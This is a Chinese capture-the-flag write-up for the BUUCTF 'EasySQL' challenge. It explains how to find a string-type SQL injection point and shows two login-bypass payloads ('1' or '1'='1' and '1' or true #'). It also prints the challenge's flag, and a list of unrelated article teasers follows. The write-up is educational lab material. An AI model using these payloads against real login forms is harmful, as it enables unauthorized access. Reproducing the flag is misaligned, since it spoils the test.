BUUCTF[极客大挑战 2019]EasySQL 1题解

[极客大挑战 2019]EasySQL题解

  • 分析
  • 解题过程
    • 漏洞原理分析
    • 明确注入点:
    • 尝试万能密码法
      • 法一
      • 法二
  • 总结

分析

从题目分析,这道题应该与SQL注入有关,启动靶机之后,访问url是一个登录界面,随便输入用户名密码之后,发现用的还是[GET]请求👍。那基本可以确定本题一定与SQL注入有关。
登录界面
GET型

  • SQL注入的漏洞是基于数据库命令的底层逻辑,在互联网初期,没有人对SQL注入进行预防,这就导致很多历史遗留问题。
    迄今为止还是WEB中十大常见漏洞之一

解题过程

漏洞原理分析

对于上面的登录界面,后端验证用户名和密码是否匹配的数据库的查询语句可能是下面这样的格式:

select * from table_name where username=变量1 and password=变量2; 

其中的变量1是我们在用户名中输入的字符,变量2是我们在password中输入的字符。SQL注入出现的原理是SQL语句对变量和命令的界定不够清晰,我们可以构造合适的输入变量改变整个SQL查找语句的功能。

明确注入点:

SQL注入的类型主要分为数字型字符型,分类标准就是变量的数据类型:
对于数字型

select * from table_name where username=变量1 and password=变量2; 

我们构造输入

1 and 1=1 #回显正常
1 and 1=2 #回显异常

而对于字符型,关键在于试着找出变量是用什么符号闭合的,常见的符号有'单引号'“双引号”()[]等。

select * from table_name where username='变量1' and password='变量2'; 
select * from table_name where username="变量1" and password="变量2"; 

对于这道题我们构造输入

1'

直接报错,这说明我们输入的'与前面的某个引号闭合,导致最后多出来一个单独的‘,详细情况如下:

select * from table_name where username='1'' and password='变量2'; 

这样我们确定本题有注入点,并确定注入类型是字符型。

尝试万能密码法

这好像是CTF中独有的技巧因为一般的渗透都会直接入侵后端(谁和你过家家😅)

法一

我们通过or的逻辑结构,构造前端的payload,以跳过判断逻辑:

?usename=1' or '1'='1&password=1' or '1'='1

后端代码:

select * from table_name where username='1' or '1'='1' and password='1' or '1'='1'; 

对与门(and)和或门(or)有一定了解的读者很容易理解上面的代码,where后面的语句一定是真(1),这样就跳过了SQL语句对用户名和密码的判断。
最后的结果是:
flag
flag{c245efae-9088-4dec-8c2e-5c34c73392e9}

法二

上面的方法对于hacker来说还是太讲理了,不够实用,我们直接构造payload:

?username=1' or true #&password=1
select * from table_name where username='1' or true #' and password='1'; 

这个方法直接使用#注释掉了后面的语句,同样可以获得flag。

总结

这是一道初级的SQL注入题目,与渗透测试的实际环境有出入,主要的考察点是SQL类型判断以及构造payload。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.pswp.cn/pingmian/83613.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

05.MySQL表的约束

MySQL表的约束 MySQL表的约束 1. 空属性 2. 默认值 3. 列描述 4. zerofill 5. 主键 6. 自增长 7. 唯一键 8. 外键 9. 综合案例 MySQL表的约束 说到 MySQL 表的约束,这绝对是数据库设计里绕不开的一个话题。很多人一提“约束”,第一反应可能是字段的数据…

Web3如何重塑数据隐私的未来

在这个信息爆炸的时代,数据隐私已成为我们不得不面对的严峻问题。Web3,作为下一代互联网的代表,以其去中心化、用户主权和数据安全等特点,正在重塑数据隐私的未来。它不仅仅是技术的革新,更是对个人隐私保护理念的一次…

网络编程之TCP编程

基于 C/S &#xff1a;客户端&#xff08;client&#xff09;/服务器端&#xff08;server&#xff09; 1.流程 2. 函数接口 所有函数所需头文件&#xff1a; #include <sys/types.h> #include <sys/socket.h> 系统定义好了用来存储网络信息的结构体 ipv4通信使…

各个布局的区别以及示例

各个布局的区别以及示例 在前端开发中&#xff0c;常见的布局方式主要有以下几种&#xff0c;每种布局都有其适用场景和特点&#xff1a; 1. 普通文档流&#xff08;Normal Flow&#xff09; 特点&#xff1a;默认布局方式&#xff0c;元素按照HTML顺序依次排列。适用场景&am…

性能优化 - 理论篇:常见指标及切入点

文章目录 引言一、 Java 性能优化的核心思路二、为什么要度量&#xff1f;三、常用性能衡量指标详解3.1 吞吐量与响应速度3.2 响应时间的具体度量&#xff1a;平均响应时间与百分位数3.3 并发量3.4 秒开率&#xff08;页面秒开&#xff09;3.5 正确性&#xff08;功能可用性&am…

第2讲、Odoo深度介绍:开源ERP的领先者

一、Odoo深度介绍&#xff1a;开源ERP的领先者 Odoo&#xff0c;其前身为OpenERP&#xff0c;是一款在全球范围内广受欢迎的开源企业管理软件套件。它不仅仅是一个ERP系统&#xff0c;更是一个集成了客户关系管理&#xff08;CRM&#xff09;、电子商务、网站构建、项目管理、…

Telerik生态整合:Kendo UI for Angular组件在WinForms应用中的深度嵌入(一)

Telerik DevCraft包含一个完整的产品栈来构建您下一个Web、移动和桌面应用程序。它使用HTML和每个.NET平台的UI库&#xff0c;加快开发速度。Telerik DevCraft提供完整的工具箱&#xff0c;用于构建现代和面向未来的业务应用程序&#xff0c;目前提供UI for ASP.NET MVC、Kendo…

2025年6月4日收获

Authorization Authorization是一种通用的、标准化的权限控制和认证的通用框架&#xff0c;它能够使跨系统和跨域的身份验证和授权管理更容易&#xff0c;使不同应用程序之间能够更轻松地实现单点登录&#xff08;SSO&#xff09;、用户身份验证和授权控制等。 在前端使用 axi…

实时数据湖架构设计:从批处理到流处理的企业数据战略升级

企业数据处理架构正在经历一场深刻的变革。从最初的数据仓库T1批处理模式&#xff0c;到如今的实时流处理架构&#xff0c;这一演进过程反映了业务对数据时效性要求的不断提升。 文章目录 第一章&#xff1a;数据湖演进历程与现状分析 第二章&#xff1a;实时数据湖核心架构剖…

iptables实战案例

目录 一、实验拓扑 二、网络规划 三、实验要求 四、环境准备 1.firewall &#xff08;1&#xff09;配置防火墙各大网卡IP并禁用 firewall和selinux &#xff08;2&#xff09;打开firewall路由转发 2.PC1&#xff08;内网&#xff09; &#xff08;1&#xff09;配置防…

macOS 连接 Docker 运行 postgres,使用navicat添加并关联数据库

下载 docker注册一个账号&#xff0c;登录 Docker创建 docke r文件 mkdir -p ~/.docker && touch ~/.docker/daemon.json写入配置&#xff08;全量替换&#xff09; {"builder": {"gc": {"defaultKeepStorage": "20GB",&quo…

docker离线镜像下载

背景介绍 在某些网络受限的环境中&#xff0c;直接从Docker Hub或其他在线仓库拉取镜像可能会遇到困难。为了在这种情况下也能顺利使用Docker镜像&#xff0c;我们可以提前下载好所需的镜像&#xff0c;并通过离线方式分发和使用。 当前镜像有&#xff1a;python-3.8-slim.ta…

Android 3D球形水平圆形旋转,旋转动态更换图片

看效果图 1、事件监听类 OnItemClickListener&#xff1a;3D旋转视图项点击监听器接口 public interface OnItemClickListener {/*** 当旋转视图中的项被点击时调用** param view 被点击的视图对象* param position 被点击项在旋转视图中的位置索引&#xff08;从0开始&a…

48V带极性反接保护-差共模浪涌防护方案

在工业自动化&#xff08;电动机驱动 / 工业机器人&#xff09;、交通基础设施&#xff08;充电桩 / 车载电子&#xff09;、安防系统&#xff08;监控摄像头 / 门禁&#xff09;、储能设备&#xff08;BMS / 离网控制器&#xff09;等领域&#xff0c;DC48V 电源因安全特低电压…

CentOS在vmware局域网内搭建DHCP服务器【踩坑记录】

1. 重新设置环境 配置dhcp服务踩了不少坑&#xff0c;这里重头搭建记录一下&#xff1a; 1.1 centos 网卡还原 如果之前搭了乱七八糟的环境&#xff0c;导致NAT模式也没法上网&#xff0c;这里重新还原 我们需要在NAT模式下联网&#xff0c;下载DHCP服务 先把centos的网卡还…

《Docker》架构

文章目录 架构模式单机架构应用数据分离架构应用服务器集群架构读写分离/主从分离架构冷热分离架构垂直分库架构微服务架构容器编排架构什么是容器&#xff0c;docker&#xff0c;镜像&#xff0c;k8s 架构模式 单机架构 单机架构其实就是应用服务器和单机服务器都部署在同一…

Web3时代的数据保护挑战与应对策略

随着互联网技术的飞速发展&#xff0c;我们正步入Web3时代&#xff0c;这是一个以去中心化、用户主权和数据隐私为核心的新时代。然而&#xff0c;Web3时代也带来了前所未有的数据保护挑战。本文将探讨这些挑战&#xff0c;并提出相应的应对策略。 数据隐私挑战 在Web3时代&a…

从零打造算法题刷题助手:Agent搭建保姆级攻略

我用Trae 做了一个有意思的Agent 「大厂机试助手」。 点击 https://s.trae.com.cn/a/d2a596 立即复刻&#xff0c;一起来玩吧&#xff01; Agent 简介 Agent名称为大厂机试助手&#xff0c;主要功能有以下三点。 解题&#xff1a; 根据用户给出的题目给出具体的解题思路引导做…

【JavaWeb】MVC三层架构

MVC三层架构 MVC 是什么&#xff1f;三层架构的组成&#xff08;View、Controller、Model&#xff09;各层职责划分示例说明面试高频问题与参考答案 MVC&#xff08;Model-View-Controller&#xff09;是一种经典的软件设计模式&#xff0c;广泛应用于 Web 应用开发中&#xf…

嵌入式分析利器:DuckDB与SqlSugar实战

​ 一、DuckDB 的核心特性与适用场景 DuckDB 是一款 嵌入式分析型数据库&#xff08;OLAP&#xff09; &#xff0c;专为高效查询设计&#xff0c;主要特点包括&#xff1a; 列式存储与向量化引擎 数据按列存储&#xff0c;提升聚合统计效率&#xff08;如 SUM/AVG&#xf…